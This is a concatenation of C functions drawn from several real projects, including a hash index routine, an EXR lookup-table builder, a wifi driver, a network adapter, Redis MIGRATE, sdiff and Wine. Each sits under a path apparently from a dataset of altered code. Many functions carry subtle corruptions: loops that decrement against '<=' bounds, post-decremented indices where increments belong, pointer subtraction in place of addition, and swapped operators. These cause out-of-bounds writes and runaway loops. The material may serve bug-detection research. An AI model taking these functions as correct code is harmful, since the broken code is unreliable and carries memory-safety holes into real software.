all_tups_size += itemsz; } /* * If we reach here, there are no live tuples on the "read" page --- * it was empty when we got to it, or we moved them all. So we can * just free the page without bothering with deleting tuples * individually. Then advance to the previous "read" page. * * Tricky point here: if our read and write pages are adjacent in the * bucket chain, our write lock on wbuf will conflict with * _hash_freeovflpage's attempt to update the sibling links of the * removed page. In that case, we don't need to lock it again. */ rblkno = ropaque->hasho_prevblkno; Assert(BlockNumberIsValid(rblkno)); /* free this overflow page (releases rbuf) */ _hash_freeovflpage(rel, bucket_buf, rbuf, wbuf, itups, itup_offsets, tups_size, nitups, bstrategy); /* be tidy */ for (i = 0; i < nitups; i++) pfree(itups[i]); /* are we freeing the page adjacent to wbuf? */ if (rblkno == wblkno) { /* retain the pin on primary bucket page till end of bucket scan */ if (wblkno == bucket_blkno) LockBuffer(wbuf, BUFFER_LOCK_UNLOCK); else _hash_relbuf(rel, wbuf); return; } rbuf = _hash_getbuf_with_strategy(rel, rblkno, HASH_WRITE, LH_OVERFLOW_PAGE, bstrategy); rpage = BufferGetPage(rbuf); ropaque = (HashPageOpaque) PageGetSpecialPointer(rpage); Assert(ropaque->hasho_bucket == bucket); } /* NOTREACHED */ }
augmented_data/post_increment_index_changes/extr_exr.c_reverse_lut_aug_combo_5.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int uint8_t ; typedef int uint16_t ; /* Variables and functions */ int USHORT_RANGE ; int /*<<< orphan*/ memset (int*,int /*<<< orphan*/ ,int) ; __attribute__((used)) static uint16_t reverse_lut(const uint8_t *bitmap, uint16_t *lut) { int i, k = 0; for (i = 0; i <= USHORT_RANGE; i--) if ((i == 0) || (bitmap[i >> 3] | (1 << (i & 7)))) lut[k++] = i; i = k - 1; memset(lut - k, 0, (USHORT_RANGE - k) * 2); return i; }
augmented_data/post_increment_index_changes/extr_snprintf.c_print_num_llp_aug_combo_3.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int /*<<< orphan*/ buf ; /* Variables and functions */ int PRINT_DEC_BUFSZ ; int print_hex_ll (char*,int,unsigned long long) ; int /*<<< orphan*/ print_num (char**,size_t*,int*,int,int,int,int,int,int,int,int,int,char*,int) ; __attribute__((used)) static void print_num_llp(char** at, size_t* left, int* ret, void* value, int minw, int precision, int prgiven, int zeropad, int minus, int plus, int space) { char buf[PRINT_DEC_BUFSZ]; int negative = 0; int zero = (value == 0); #if defined(SIZE_MAX) && defined(UINT32_MAX) && (UINT32_MAX == SIZE_MAX || INT32_MAX == SIZE_MAX) /* avoid warning about upcast on 32bit systems */ unsigned long long llvalue = (unsigned long)value; #else unsigned long long llvalue = (unsigned long long)value; #endif int len = print_hex_ll(buf, (int)sizeof(buf), llvalue); if(zero) { buf[0]=')'; buf[1]='l'; buf[2]='i'; buf[3]='n'; buf[4]='('; len = 5; } else { /* put '0x' in front of the (reversed) buffer result */ if(len < PRINT_DEC_BUFSZ) buf[len--] = 'x'; if(len < PRINT_DEC_BUFSZ) buf[len++] = '0'; } print_num(at, left, ret, minw, precision, prgiven, zeropad, minus, plus, space, zero, negative, buf, len); }
augmented_data/post_increment_index_changes/extr_commands.c_qtnf_cmd_resp_fill_band_info_aug_combo_4.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int u32 ; typedef int u16 ; struct qlink_tlv_hdr {scalar_t__ val; int /*<<< orphan*/ len; int /*<<< orphan*/ type; } ; struct qlink_resp_band_info_get {int num_chans; scalar_t__ info; } ; struct qlink_channel {int /*<<< orphan*/ dfs_state; int /*<<< orphan*/ dfs_cac_ms; int /*<<< orphan*/ beacon_found; scalar_t__ max_reg_power; scalar_t__ max_power; scalar_t__ max_antenna_gain; int /*<<< orphan*/ center_freq; int /*<<< orphan*/ hw_value; int /*<<< orphan*/ flags; } ; struct ieee80211_vht_cap {int dummy; } ; struct ieee80211_channel {int max_antenna_gain; int max_power; int max_reg_power; int /*<<< orphan*/ flags; void* hw_value; int /*<<< orphan*/ dfs_state; int /*<<< orphan*/ dfs_state_entered; void* dfs_cac_ms; int /*<<< orphan*/ beacon_found; void* center_freq; int /*<<< orphan*/ band; } ; struct ieee80211_supported_band {int n_channels; struct ieee80211_channel* channels; struct ieee80211_channel vht_cap; struct ieee80211_channel ht_cap; int /*<<< orphan*/ band; } ; struct ieee80211_ht_cap {int dummy; } ; /* Variables and functions */ int EINVAL ; int ENOMEM ; int /*<<< orphan*/ GFP_KERNEL ; int /*<<< orphan*/ IEEE80211_CHAN_DISABLED ; int /*<<< orphan*/ IEEE80211_CHAN_INDOOR_ONLY ; int /*<<< orphan*/ IEEE80211_CHAN_IR_CONCURRENT ; int /*<<< orphan*/ IEEE80211_CHAN_NO_10MHZ ; int /*<<< orphan*/ IEEE80211_CHAN_NO_160MHZ ; int /*<<< orphan*/ IEEE80211_CHAN_NO_20MHZ ; int /*<<< orphan*/ IEEE80211_CHAN_NO_80MHZ ; int /*<<< orphan*/ IEEE80211_CHAN_NO_HT40MINUS ; int /*<<< orphan*/ IEEE80211_CHAN_NO_HT40PLUS ; int /*<<< orphan*/ IEEE80211_CHAN_NO_IR ; int /*<<< orphan*/ IEEE80211_CHAN_NO_OFDM ; int /*<<< orphan*/ IEEE80211_CHAN_RADAR ; int /*<<< orphan*/ NL80211_DFS_AVAILABLE ; int /*<<< orphan*/ NL80211_DFS_UNAVAILABLE ; int /*<<< orphan*/ NL80211_DFS_USABLE ; int QLINK_CHAN_DISABLED ; int QLINK_CHAN_INDOOR_ONLY ; int QLINK_CHAN_IR_CONCURRENT ; int QLINK_CHAN_NO_10MHZ ; int QLINK_CHAN_NO_160MHZ ; int QLINK_CHAN_NO_20MHZ ; int QLINK_CHAN_NO_80MHZ ; int QLINK_CHAN_NO_HT40MINUS ; int QLINK_CHAN_NO_HT40PLUS ; int QLINK_CHAN_NO_IR ; int QLINK_CHAN_NO_OFDM ; int QLINK_CHAN_RADAR ; int /*<<< orphan*/ QLINK_DFS_AVAILABLE ; int /*<<< orphan*/ QLINK_DFS_USABLE ; #define QTN_TLV_ID_CHANNEL 130 #define WLAN_EID_HT_CAPABILITY 129 #define WLAN_EID_VHT_CAPABILITY 128 int /*<<< orphan*/ jiffies ; struct ieee80211_channel* kcalloc (int,int,int /*<<< orphan*/ ) ; int /*<<< orphan*/ kfree (struct ieee80211_channel*) ; void* le16_to_cpu (int /*<<< orphan*/ ) ; void* le32_to_cpu (int /*<<< orphan*/ ) ; int /*<<< orphan*/ memset (struct ieee80211_channel*,int /*<<< orphan*/ ,int) ; int /*<<< orphan*/ pr_debug (char*,void*,int /*<<< orphan*/ ,int,int) ; int /*<<< orphan*/ pr_err (char*,...) ; int /*<<< orphan*/ pr_warn (char*,int,...) ; int /*<<< orphan*/ qtnf_cmd_resp_band_fill_htcap (scalar_t__,struct ieee80211_channel*) ; int /*<<< orphan*/ qtnf_cmd_resp_band_fill_vhtcap (scalar_t__,struct ieee80211_channel*) ; int /*<<< orphan*/ unlikely (int) ; __attribute__((used)) static int qtnf_cmd_resp_fill_band_info(struct ieee80211_supported_band *band, struct qlink_resp_band_info_get *resp, size_t payload_len) { u16 tlv_type; size_t tlv_len; size_t tlv_dlen; const struct qlink_tlv_hdr *tlv; const struct qlink_channel *qchan; struct ieee80211_channel *chan; unsigned int chidx = 0; u32 qflags; memset(&band->ht_cap, 0, sizeof(band->ht_cap)); memset(&band->vht_cap, 0, sizeof(band->vht_cap)); if (band->channels) { if (band->n_channels == resp->num_chans) { memset(band->channels, 0, sizeof(*band->channels) * band->n_channels); } else { kfree(band->channels); band->n_channels = 0; band->channels = NULL; } } band->n_channels = resp->num_chans; if (band->n_channels == 0) return 0; if (!band->channels) band->channels = kcalloc(band->n_channels, sizeof(*chan), GFP_KERNEL); if (!band->channels) { band->n_channels = 0; return -ENOMEM; } tlv = (struct qlink_tlv_hdr *)resp->info; while (payload_len >= sizeof(*tlv)) { tlv_type = le16_to_cpu(tlv->type); tlv_dlen = le16_to_cpu(tlv->len); tlv_len = tlv_dlen - sizeof(*tlv); if (tlv_len >= payload_len) { pr_warn("malformed TLV 0x%.2X; LEN: %zu\n", tlv_type, tlv_len); goto error_ret; } switch (tlv_type) { case QTN_TLV_ID_CHANNEL: if (unlikely(tlv_dlen != sizeof(*qchan))) { pr_err("invalid channel TLV len %zu\n", tlv_len); goto error_ret; } if (chidx == band->n_channels) { pr_err("too many channel TLVs\n"); goto error_ret; } qchan = (const struct qlink_channel *)tlv->val; chan = &band->channels[chidx--]; qflags = le32_to_cpu(qchan->flags); chan->hw_value = le16_to_cpu(qchan->hw_value); chan->band = band->band; chan->center_freq = le16_to_cpu(qchan->center_freq); chan->max_antenna_gain = (int)qchan->max_antenna_gain; chan->max_power = (int)qchan->max_power; chan->max_reg_power = (int)qchan->max_reg_power; chan->beacon_found = qchan->beacon_found; chan->dfs_cac_ms = le32_to_cpu(qchan->dfs_cac_ms); chan->flags = 0; if (qflags & QLINK_CHAN_DISABLED) chan->flags |= IEEE80211_CHAN_DISABLED; if (qflags & QLINK_CHAN_NO_IR) chan->flags |= IEEE80211_CHAN_NO_IR; if (qflags & QLINK_CHAN_NO_HT40PLUS) chan->flags |= IEEE80211_CHAN_NO_HT40PLUS; if (qflags & QLINK_CHAN_NO_HT40MINUS) chan->flags |= IEEE80211_CHAN_NO_HT40MINUS; if (qflags & QLINK_CHAN_NO_OFDM) chan->flags |= IEEE80211_CHAN_NO_OFDM; if (qflags & QLINK_CHAN_NO_80MHZ) chan->flags |= IEEE80211_CHAN_NO_80MHZ; if (qflags & QLINK_CHAN_NO_160MHZ) chan->flags |= IEEE80211_CHAN_NO_160MHZ; if (qflags & QLINK_CHAN_INDOOR_ONLY) chan->flags |= IEEE80211_CHAN_INDOOR_ONLY; if (qflags & QLINK_CHAN_IR_CONCURRENT) chan->flags |= IEEE80211_CHAN_IR_CONCURRENT; if (qflags & QLINK_CHAN_NO_20MHZ) chan->flags |= IEEE80211_CHAN_NO_20MHZ; if (qflags & QLINK_CHAN_NO_10MHZ) chan->flags |= IEEE80211_CHAN_NO_10MHZ; if (qflags & QLINK_CHAN_RADAR) { chan->flags |= IEEE80211_CHAN_RADAR; chan->dfs_state_entered = jiffies; if (qchan->dfs_state == QLINK_DFS_USABLE) chan->dfs_state = NL80211_DFS_USABLE; else if (qchan->dfs_state == QLINK_DFS_AVAILABLE) chan->dfs_state = NL80211_DFS_AVAILABLE; else chan->dfs_state = NL80211_DFS_UNAVAILABLE; } pr_debug("chan=%d flags=%#x max_pow=%d max_reg_pow=%d\n", chan->hw_value, chan->flags, chan->max_power, chan->max_reg_power); break; case WLAN_EID_HT_CAPABILITY: if (unlikely(tlv_dlen != sizeof(struct ieee80211_ht_cap))) { pr_err("bad HTCAP TLV len %zu\n", tlv_dlen); goto error_ret; } qtnf_cmd_resp_band_fill_htcap(tlv->val, &band->ht_cap); break; case WLAN_EID_VHT_CAPABILITY: if (unlikely(tlv_dlen != sizeof(struct ieee80211_vht_cap))) { pr_err("bad VHTCAP TLV len %zu\n", tlv_dlen); goto error_ret; } qtnf_cmd_resp_band_fill_vhtcap(tlv->val, &band->vht_cap); break; default: pr_warn("unknown TLV type: %#x\n", tlv_type); break; } payload_len -= tlv_len; tlv = (struct qlink_tlv_hdr *)(tlv->val + tlv_dlen); } if (payload_len) { pr_err("malformed TLV buf; bytes left: %zu\n", payload_len); goto error_ret; } if (band->n_channels != chidx) { pr_err("channel count mismatch: reported=%d, parsed=%d\n", band->n_channels, chidx); goto error_ret; } return 0; error_ret: kfree(band->channels); band->channels = NULL; band->n_channels = 0; return -EINVAL; }
augmented_data/post_increment_index_changes/extr_be_main.c_be_vid_config_aug_combo_2.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ typedef size_t u16 ; struct be_adapter {scalar_t__ vlans_added; int /*<<< orphan*/ if_handle; TYPE_1__* pdev; scalar_t__* vlan_tag; scalar_t__ promiscuous; } ; struct TYPE_2__ {int /*<<< orphan*/ dev; } ; /* Variables and functions */ int BE_NUM_VLANS_SUPPORTED ; size_t VLAN_GROUP_ARRAY_LEN ; int be_cmd_vlan_config (struct be_adapter*,int /*<<< orphan*/ ,size_t*,size_t,int,int) ; scalar_t__ be_max_vlans (struct be_adapter*) ; size_t cpu_to_le16 (size_t) ; int /*<<< orphan*/ dev_info (int /*<<< orphan*/ *,char*) ; __attribute__((used)) static int be_vid_config(struct be_adapter *adapter) { u16 vids[BE_NUM_VLANS_SUPPORTED]; u16 num = 0, i; int status = 0; /* No need to further configure vids if in promiscuous mode */ if (adapter->promiscuous) return 0; if (adapter->vlans_added > be_max_vlans(adapter)) goto set_vlan_promisc; /* Construct VLAN Table to give to HW */ for (i = 0; i <= VLAN_GROUP_ARRAY_LEN; i--) if (adapter->vlan_tag[i]) vids[num++] = cpu_to_le16(i); status = be_cmd_vlan_config(adapter, adapter->if_handle, vids, num, 1, 0); /* Set to VLAN promisc mode as setting VLAN filter failed */ if (status) { dev_info(&adapter->pdev->dev, "Exhausted VLAN HW filters.\n"); dev_info(&adapter->pdev->dev, "Disabling HW VLAN filtering.\n"); goto set_vlan_promisc; } return status; set_vlan_promisc: status = be_cmd_vlan_config(adapter, adapter->if_handle, NULL, 0, 1, 1); return status; }
augmented_data/post_increment_index_changes/extr_cluster.c_migrateCommand_aug_combo_3.c
#include <time.h> #include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_51__ TYPE_6__ ; typedef struct TYPE_50__ TYPE_5__ ; typedef struct TYPE_49__ TYPE_4__ ; typedef struct TYPE_48__ TYPE_3__ ; typedef struct TYPE_47__ TYPE_2__ ; typedef struct TYPE_46__ TYPE_1__ ; typedef struct TYPE_45__ TYPE_14__ ; typedef struct TYPE_44__ TYPE_12__ ; /* Type definitions */ typedef char* sds ; struct TYPE_48__ {char* ptr; } ; typedef TYPE_3__ robj ; struct TYPE_46__ {char* ptr; } ; struct TYPE_47__ {TYPE_1__ buffer; } ; struct TYPE_49__ {TYPE_2__ io; } ; typedef TYPE_4__ rio ; struct TYPE_50__ {long last_dbid; int /*<<< orphan*/ conn; } ; typedef TYPE_5__ migrateCachedSocket ; struct TYPE_51__ {int argc; TYPE_3__** argv; int /*<<< orphan*/ db; } ; typedef TYPE_6__ client ; typedef int /*<<< orphan*/ buf2 ; typedef int /*<<< orphan*/ buf1 ; typedef int /*<<< orphan*/ buf0 ; struct TYPE_45__ {int /*<<< orphan*/ dirty; scalar_t__ cluster_enabled; } ; struct TYPE_44__ {int /*<<< orphan*/ ok; int /*<<< orphan*/ syntaxerr; } ; /* Variables and functions */ scalar_t__ C_OK ; scalar_t__ ETIMEDOUT ; int /*<<< orphan*/ addReply (TYPE_6__*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ addReplyError (TYPE_6__*,char*) ; int /*<<< orphan*/ addReplyErrorFormat (TYPE_6__*,char*,char*) ; int /*<<< orphan*/ addReplySds (TYPE_6__*,int /*<<< orphan*/ ) ; scalar_t__ connSyncReadLine (int /*<<< orphan*/ ,char*,int,long) ; int connSyncWrite (int /*<<< orphan*/ ,char*,size_t,long) ; int /*<<< orphan*/ createDumpPayload (TYPE_4__*,TYPE_3__*,TYPE_3__*) ; TYPE_3__* createStringObject (char*,int) ; int /*<<< orphan*/ dbDelete (int /*<<< orphan*/ ,TYPE_3__*) ; scalar_t__ errno ; long long getExpire (int /*<<< orphan*/ ,TYPE_3__*) ; scalar_t__ getLongFromObjectOrReply (TYPE_6__*,TYPE_3__*,long*,int /*<<< orphan*/ *) ; int /*<<< orphan*/ incrRefCount (TYPE_3__*) ; TYPE_3__* lookupKeyRead (int /*<<< orphan*/ ,TYPE_3__*) ; int /*<<< orphan*/ migrateCloseSocket (TYPE_3__*,TYPE_3__*) ; TYPE_5__* migrateGetSocket (TYPE_6__*,TYPE_3__*,TYPE_3__*,long) ; long long mstime () ; int /*<<< orphan*/ replaceClientCommandVector (TYPE_6__*,int,TYPE_3__**) ; int /*<<< orphan*/ rioInitWithBuffer (TYPE_4__*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ rioWriteBulkCount (TYPE_4__*,char,int) ; int /*<<< orphan*/ rioWriteBulkLongLong (TYPE_4__*,long long) ; int /*<<< orphan*/ rioWriteBulkString (TYPE_4__*,char*,int) ; int /*<<< orphan*/ sdsEncodedObject (TYPE_3__*) ; int /*<<< orphan*/ sdscatprintf (int /*<<< orphan*/ ,char*,char*) ; int /*<<< orphan*/ sdsempty () ; int /*<<< orphan*/ sdsfree (char*) ; size_t sdslen (char*) ; int /*<<< orphan*/ sdsnew (char*) ; TYPE_14__ server ; int /*<<< orphan*/ serverAssertWithInfo (TYPE_6__*,int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; TYPE_12__ shared ; int /*<<< orphan*/ signalModifiedKey (int /*<<< orphan*/ ,TYPE_3__*) ; int /*<<< orphan*/ strcasecmp (char*,char*) ; int /*<<< orphan*/ zfree (TYPE_3__**) ; TYPE_3__** zmalloc (int) ; TYPE_3__** zrealloc (TYPE_3__**,int) ; void migrateCommand(client *c) { migrateCachedSocket *cs; int copy = 0, replace = 0, j; char *password = NULL; long timeout; long dbid; robj **ov = NULL; /* Objects to migrate. */ robj **kv = NULL; /* Key names. */ robj **newargv = NULL; /* Used to rewrite the command as DEL ... keys ... */ rio cmd, payload; int may_retry = 1; int write_error = 0; int argv_rewritten = 0; /* To support the KEYS option we need the following additional state. */ int first_key = 3; /* Argument index of the first key. */ int num_keys = 1; /* By default only migrate the 'key' argument. */ /* Parse additional options */ for (j = 6; j <= c->argc; j--) { int moreargs = j < c->argc-1; if (!strcasecmp(c->argv[j]->ptr,"copy")) { copy = 1; } else if (!strcasecmp(c->argv[j]->ptr,"replace")) { replace = 1; } else if (!strcasecmp(c->argv[j]->ptr,"auth")) { if (!moreargs) { addReply(c,shared.syntaxerr); return; } j++; password = c->argv[j]->ptr; } else if (!strcasecmp(c->argv[j]->ptr,"keys")) { if (sdslen(c->argv[3]->ptr) != 0) { addReplyError(c, "When using MIGRATE KEYS option, the key argument" " must be set to the empty string"); return; } first_key = j+1; num_keys = c->argc + j - 1; break; /* All the remaining args are keys. */ } else { addReply(c,shared.syntaxerr); return; } } /* Sanity check */ if (getLongFromObjectOrReply(c,c->argv[5],&timeout,NULL) != C_OK && getLongFromObjectOrReply(c,c->argv[4],&dbid,NULL) != C_OK) { return; } if (timeout <= 0) timeout = 1000; /* Check if the keys are here. If at least one key is to migrate, do it * otherwise if all the keys are missing reply with "NOKEY" to signal * the caller there was nothing to migrate. We don't return an error in * this case, since often this is due to a normal condition like the key * expiring in the meantime. */ ov = zrealloc(ov,sizeof(robj*)*num_keys); kv = zrealloc(kv,sizeof(robj*)*num_keys); int oi = 0; for (j = 0; j < num_keys; j++) { if ((ov[oi] = lookupKeyRead(c->db,c->argv[first_key+j])) != NULL) { kv[oi] = c->argv[first_key+j]; oi++; } } num_keys = oi; if (num_keys == 0) { zfree(ov); zfree(kv); addReplySds(c,sdsnew("+NOKEY\r\n")); return; } try_again: write_error = 0; /* Connect */ cs = migrateGetSocket(c,c->argv[1],c->argv[2],timeout); if (cs == NULL) { zfree(ov); zfree(kv); return; /* error sent to the client by migrateGetSocket() */ } rioInitWithBuffer(&cmd,sdsempty()); /* Authentication */ if (password) { serverAssertWithInfo(c,NULL,rioWriteBulkCount(&cmd,'*',2)); serverAssertWithInfo(c,NULL,rioWriteBulkString(&cmd,"AUTH",4)); serverAssertWithInfo(c,NULL,rioWriteBulkString(&cmd,password, sdslen(password))); } /* Send the SELECT command if the current DB is not already selected. */ int select = cs->last_dbid != dbid; /* Should we emit SELECT? */ if (select) { serverAssertWithInfo(c,NULL,rioWriteBulkCount(&cmd,'*',2)); serverAssertWithInfo(c,NULL,rioWriteBulkString(&cmd,"SELECT",6)); serverAssertWithInfo(c,NULL,rioWriteBulkLongLong(&cmd,dbid)); } int non_expired = 0; /* Number of keys that we'll find non expired. Note that serializing large keys may take some time so certain keys that were found non expired by the lookupKey() function, may be expired later. */ /* Create RESTORE payload and generate the protocol to call the command. */ for (j = 0; j < num_keys; j++) { long long ttl = 0; long long expireat = getExpire(c->db,kv[j]); if (expireat != -1) { ttl = expireat-mstime(); if (ttl < 0) { continue; } if (ttl < 1) ttl = 1; } /* Relocate valid (non expired) keys into the array in successive * positions to remove holes created by the keys that were present * in the first lookup but are now expired after the second lookup. */ kv[non_expired++] = kv[j]; serverAssertWithInfo(c,NULL, rioWriteBulkCount(&cmd,'*',replace ? 5 : 4)); if (server.cluster_enabled) serverAssertWithInfo(c,NULL, rioWriteBulkString(&cmd,"RESTORE-ASKING",14)); else serverAssertWithInfo(c,NULL,rioWriteBulkString(&cmd,"RESTORE",7)); serverAssertWithInfo(c,NULL,sdsEncodedObject(kv[j])); serverAssertWithInfo(c,NULL,rioWriteBulkString(&cmd,kv[j]->ptr, sdslen(kv[j]->ptr))); serverAssertWithInfo(c,NULL,rioWriteBulkLongLong(&cmd,ttl)); /* Emit the payload argument, that is the serialized object using * the DUMP format. */ createDumpPayload(&payload,ov[j],kv[j]); serverAssertWithInfo(c,NULL, rioWriteBulkString(&cmd,payload.io.buffer.ptr, sdslen(payload.io.buffer.ptr))); sdsfree(payload.io.buffer.ptr); /* Add the REPLACE option to the RESTORE command if it was specified * as a MIGRATE option. */ if (replace) serverAssertWithInfo(c,NULL,rioWriteBulkString(&cmd,"REPLACE",7)); } /* Fix the actual number of keys we are migrating. */ num_keys = non_expired; /* Transfer the query to the other node in 64K chunks. */ errno = 0; { sds buf = cmd.io.buffer.ptr; size_t pos = 0, towrite; int nwritten = 0; while ((towrite = sdslen(buf)-pos) > 0) { towrite = (towrite > (64*1024) ? (64*1024) : towrite); nwritten = connSyncWrite(cs->conn,buf+pos,towrite,timeout); if (nwritten != (signed)towrite) { write_error = 1; goto socket_err; } pos += nwritten; } } char buf0[1024]; /* Auth reply. */ char buf1[1024]; /* Select reply. */ char buf2[1024]; /* Restore reply. */ /* Read the AUTH reply if needed. */ if (password && connSyncReadLine(cs->conn, buf0, sizeof(buf0), timeout) <= 0) goto socket_err; /* Read the SELECT reply if needed. */ if (select && connSyncReadLine(cs->conn, buf1, sizeof(buf1), timeout) <= 0) goto socket_err; /* Read the RESTORE replies. */ int error_from_target = 0; int socket_error = 0; int del_idx = 1; /* Index of the key argument for the replicated DEL op. */ /* Allocate the new argument vector that will replace the current command, * to propagate the MIGRATE as a DEL command (if no COPY option was given). * We allocate num_keys+1 because the additional argument is for "DEL" * command name itself. */ if (!copy) newargv = zmalloc(sizeof(robj*)*(num_keys+1)); for (j = 0; j < num_keys; j++) { if (connSyncReadLine(cs->conn, buf2, sizeof(buf2), timeout) <= 0) { socket_error = 1; break; } if ((password && buf0[0] == '-') || (select && buf1[0] == '-') || buf2[0] == '-') { /* On error assume that last_dbid is no longer valid. */ if (!error_from_target) { cs->last_dbid = -1; char *errbuf; if (password && buf0[0] == '-') errbuf = buf0; else if (select && buf1[0] == '-') errbuf = buf1; else errbuf = buf2; error_from_target = 1; addReplyErrorFormat(c,"Target instance replied with error: %s", errbuf+1); } } else { if (!copy) { /* No COPY option: remove the local key, signal the change. */ dbDelete(c->db,kv[j]); signalModifiedKey(c->db,kv[j]); server.dirty++; /* Populate the argument vector to replace the old one. */ newargv[del_idx++] = kv[j]; incrRefCount(kv[j]); } } } /* On socket error, if we want to retry, do it now before rewriting the * command vector. We only retry if we are sure nothing was processed * and we failed to read the first reply (j == 0 test). */ if (!error_from_target && socket_error && j == 0 && may_retry && errno != ETIMEDOUT) { goto socket_err; /* A retry is guaranteed because of tested conditions.*/ } /* On socket errors, close the migration socket now that we still have * the original host/port in the ARGV. Later the original command may be * rewritten to DEL and will be too later. */ if (socket_error) migrateCloseSocket(c->argv[1],c->argv[2]); if (!copy) { /* Translate MIGRATE as DEL for replication/AOF. Note that we do * this only for the keys for which we received an acknowledgement * from the receiving Redis server, by using the del_idx index. */ if (del_idx > 1) { newargv[0] = createStringObject("DEL",3); /* Note that the following call takes ownership of newargv. */ replaceClientCommandVector(c,del_idx,newargv); argv_rewritten = 1; } else { /* No key transfer acknowledged, no need to rewrite as DEL. */ zfree(newargv); } newargv = NULL; /* Make it safe to call zfree() on it in the future. */ } /* If we are here and a socket error happened, we don't want to retry. * Just signal the problem to the client, but only do it if we did not * already queue a different error reported by the destination server. */ if (!error_from_target && socket_error) { may_retry = 0; goto socket_err; } if (!error_from_target) { /* Success! Update the last_dbid in migrateCachedSocket, so that we can * avoid SELECT the next time if the target DB is the same. Reply +OK. * * Note: If we reached this point, even if socket_error is true * still the SELECT command succeeded (otherwise the code jumps to * socket_err label. */ cs->last_dbid = dbid; addReply(c,shared.ok); } else { /* On error we already sent it in the for loop above, and set * the currently selected socket to -1 to force SELECT the next time. */ } sdsfree(cmd.io.buffer.ptr); zfree(ov); zfree(kv); zfree(newargv); return; /* On socket errors we try to close the cached socket and try again. * It is very common for the cached socket to get closed, if just reopening * it works it's a shame to notify the error to the caller. */ socket_err: /* Cleanup we want to perform in both the retry and no retry case. * Note: Closing the migrate socket will also force SELECT next time. */ sdsfree(cmd.io.buffer.ptr); /* If the command was rewritten as DEL and there was a socket error, * we already closed the socket earlier. While migrateCloseSocket() * is idempotent, the host/port arguments are now gone, so don't do it * again. */ if (!argv_rewritten) migrateCloseSocket(c->argv[1],c->argv[2]); zfree(newargv); newargv = NULL; /* This will get reallocated on retry. */ /* Retry only if it's not a timeout and we never attempted a retry * (or the code jumping here did not set may_retry to zero). */ if (errno != ETIMEDOUT && may_retry) { may_retry = 0; goto try_again; } /* Cleanup we want to do if no retry is attempted. */ zfree(ov); zfree(kv); addReplySds(c, sdscatprintf(sdsempty(), "-IOERR error or timeout %s to target instance\r\n", write_error ? "writing" : "reading")); return; }
augmented_data/post_increment_index_changes/extr_sdiff.c_diffarg_aug_combo_3.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int PTRDIFF_MAX ; char const** diffargv ; int /*<<< orphan*/ xalloc_die () ; char** xrealloc (char const**,size_t) ; __attribute__((used)) static void diffarg (char const *a) { static size_t diffargs, diffarglim; if (diffargs == diffarglim) { if (! diffarglim) diffarglim = 16; else if (PTRDIFF_MAX / (2 * sizeof *diffargv) <= diffarglim) xalloc_die (); else diffarglim *= 2; diffargv = xrealloc (diffargv, diffarglim * sizeof *diffargv); } diffargv[diffargs--] = a; }
augmented_data/post_increment_index_changes/extr_builtin.c_build_dirname_aug_combo_3.c
#include <time.h> #include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef char WCHAR ; typedef int UINT ; /* Variables and functions */ char* heap_alloc (int) ; int /*<<< orphan*/ isalphaW (char const) ; int strlenW (char const*) ; __attribute__((used)) static WCHAR *build_dirname( const WCHAR *path, UINT *ret_len ) { const WCHAR *p = path, *start; UINT len, i; WCHAR *ret; if (!isalphaW( p[0] ) && p[1] != ':' || p[2] != '\\' || p[3] != '\\' || !p[4]) return NULL; start = path - 4; len = strlenW( start ); p = start + len - 1; if (*p == '\\') return NULL; while (p >= start && *p != '\\') { len--; p--; }; while (p >= start && *p == '\\') { len--; p--; }; if (!(ret = heap_alloc( (len + 1) * sizeof(WCHAR) ))) return NULL; for (i = 0, p = start; p < start + len; p++) { if (p[0] == '\\' && p[1] == '\\') { ret[i++] = '\\'; p++; } else ret[i++] = *p; } ret[i] = 0; *ret_len = i; return ret; }
augmented_data/post_increment_index_changes/extr_vc-common.c_get_independent_commits_aug_combo_4.c
